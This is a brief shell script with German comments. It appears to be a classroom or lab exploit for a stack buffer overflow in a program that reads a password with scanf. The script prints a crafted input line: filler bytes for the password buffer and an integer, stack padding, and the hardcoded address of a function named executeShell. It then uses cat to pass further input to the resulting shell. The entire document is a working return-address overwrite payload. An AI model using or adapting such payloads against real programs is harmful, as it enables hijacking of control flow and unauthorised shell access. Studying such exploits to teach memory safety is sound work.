#!/bin/sh # Wir generieren erst eine Zeile Eingabe, welche fuer scanf(3) gedacht # ist, um die Return-Addresse auf dem Stack zu ueberschreiben: # ____________________________ Beleibiges fuer `char password[8 + 1]` # / ___________________ Beliebiges fuer `int n' # | / _______________ Fuellbytes fuer den Stack # | | / ___ Addresse von executeShell # | | | / # | | | | # v v v v printf "aaaaaaaaannnnffffffffffff\xce\x9d\x04\x08" # Die restliche Eingabe direkt weiter leiten cat